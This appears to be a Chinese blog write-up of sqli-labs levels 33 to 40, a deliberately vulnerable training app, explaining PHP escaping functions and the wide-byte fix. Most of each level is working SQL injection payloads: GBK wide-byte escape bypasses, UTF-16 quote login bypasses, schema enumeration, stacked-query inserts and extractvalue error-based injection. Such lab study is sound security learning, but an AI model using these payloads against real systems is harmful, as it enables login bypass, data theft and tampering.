sqli-labs33-40
网络安全  /  2024-12-19  /  9704浏览

Less33

php函数了解

addslashes(PHP 4, PHP 5, PHP 7)addslashes — 使用反斜线引用字符串
说明addslashes ( string $str ) : string返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。这些字符是单引号(')、双引号(")、反斜线(\)与 NUL(NULL 字符)。

一个使用 addslashes() 的例子是当你要往数据库中输入数据时。 例如,将名字 O'reilly 插入到数据库中,这就需要对其进行转义。 强烈建议使用 DBMS 指定的转义函数 (比如 MySQL 是 mysqli_real_escape_string(),PostgreSQL 是 pg_escape_string()),但是如果你使用的 DBMS 没有一个转义函数,并且使用 \ 来转义特殊字符,你可以使用这个函数。 仅仅是为了获取插入数据库的数据,额外的 \ 并不会插入。 当 PHP 指令 magic_quotes_sybase 被设置成 on 时,意味着插入 ' 时将使用 ' 进行转义。PHP 5.4 之前 PHP 指令 magic_quotes_gpc 默认是 on, 实际上所有的 GET、POST 和 COOKIE 数据都用被 addslashes() 了。 不要对已经被 magic_quotes_gpc 转义过的字符串使用 addslashes(),因为这样会导致双层转义。 遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。

代码分析
在这里插入图片描述
payload

-1%df%27union%20select%201,database(),3--+#payload和上一关的相同

在这里插入图片描述
关于本关宽字节的修复:
使用 addslashes(),我们需要将 mysql_query 设置为 binary 的方式,才能防御此漏洞。 Mysql_query(“SETcharacter_set_connection=gbk,character_set_result=gbk,character_set_client=binary”,$conn);

Less34

本关是POST型的注入,上一关是get方式以url形式提交,因此数据会通过urlencode编码
在POST型注入中,使用另一个方法,将utf-8转换为utf-16或utf-32,如将’转换为utf-16为�’

代码分析
在这里插入图片描述

payload密码

uname=�' or 1=1#&passwd=rteb&submit=Submit
#�'会被转义为�\'      而�会将\吃掉,就剩下'生效,类似于宽字节注入		暂时这样理解的,utf-16编码不熟悉,后边学计算机系统仔细看看???uname=�' or 1=1#&passwd=rteb&submit=Submit

在这里插入图片描述

在这里插入图片描述
2.继续使用宽字节注入

get型直接以url形式提交,用户提交%df,%27这种直接当做url编码后处理.
而post型却不是这样,会把用户提交的%df,%27当做正常数据,然后进行url编码,于是就变成了%25df,%2527

因此需要使用burp进行注入
payload

uname=%df' union select 1,database()#&passwd=a&submit=Submit
#%df'会被php中的转义函数转换为 %df\'即%df%5c%27    ===>%df%5c构成#**宽字节还可以使用%bb,前提是这个字符的ascii码大于128才能到汉字的范围**

在这里插入图片描述

Less35

代码分析
在这里插入图片描述
payload

-1 union select 1,version(),3--+

在这里插入图片描述

Less36

mysql_real_escape_string函数

mysql_real_escape_string — 转义 SQL 语句中使用的字符串中的特殊字符,并考虑到连接的当前字符集 ;
(PHP 4 >= 4.3.0, PHP 5)
mysql_real_escape_string() 调用mysql库的函数 mysql_real_escape_string, 在以下字符前添加反斜杠: \x00, \n, \r, , ', " 和 \x1a

代码分析
在这里插入图片描述

payload

-1%df%27union%20select%201,database(),3--+

在这里插入图片描述

Less37

代码分析
在这里插入图片描述
密码登录payload

�' or 1=1#

#将utf-8格式的'转换为utf-16格式的�'

在这里插入图片描述
查询所有数据库payload

union select 1,group_concat(schema_name) from information_schema.schemata#

在这里插入图片描述



堆叠注入

多条sql语句一起执行,堆叠语句可以执行任意语句,而uinon执行的语句类型有限

select username from users where id = 1;insert into users(id,username,password) VALUES (18,'insertuser','pass');

在这里插入图片描述
堆叠注入的局限性:
两个查询通常只返回一个查询结果,因此堆叠注入第二个语句产生错误或者结果被忽略,在web前端无法看到返回结果
受到数据库引擎不支持的限制,权限以及环境
mysql,sqlserver,postgresql支持堆叠查询,Oracle数据库不支持




Less38

代码分析
在这里插入图片描述

向数据库插入信息payload

1';insert into users(id,username,password)values(19,'sqli-labs','111')--+

在这里插入图片描述

Less39

代码分析
在这里插入图片描述
插入数据payload

20;insert into users(id,username,password)values(20,'sqli-39','39')--+

在这里插入图片描述
可以使用报错注入

1 and extractvalue(1,concat(0x7e,(select @@version),0x7e))#

在这里插入图片描述



GET /sqli-labs-master/Less-39/?id=1 and extractvalue(1,concat(0x7e,(select database()),0x7e))#

在这里插入图片描述

剩下的参考第五关的payload即可第五关

Less40

代码分析
在这里插入图片描述

payload

1');insert into users(id,username, password) values ('40','sqli-40','404')--+

在这里插入图片描述


评论0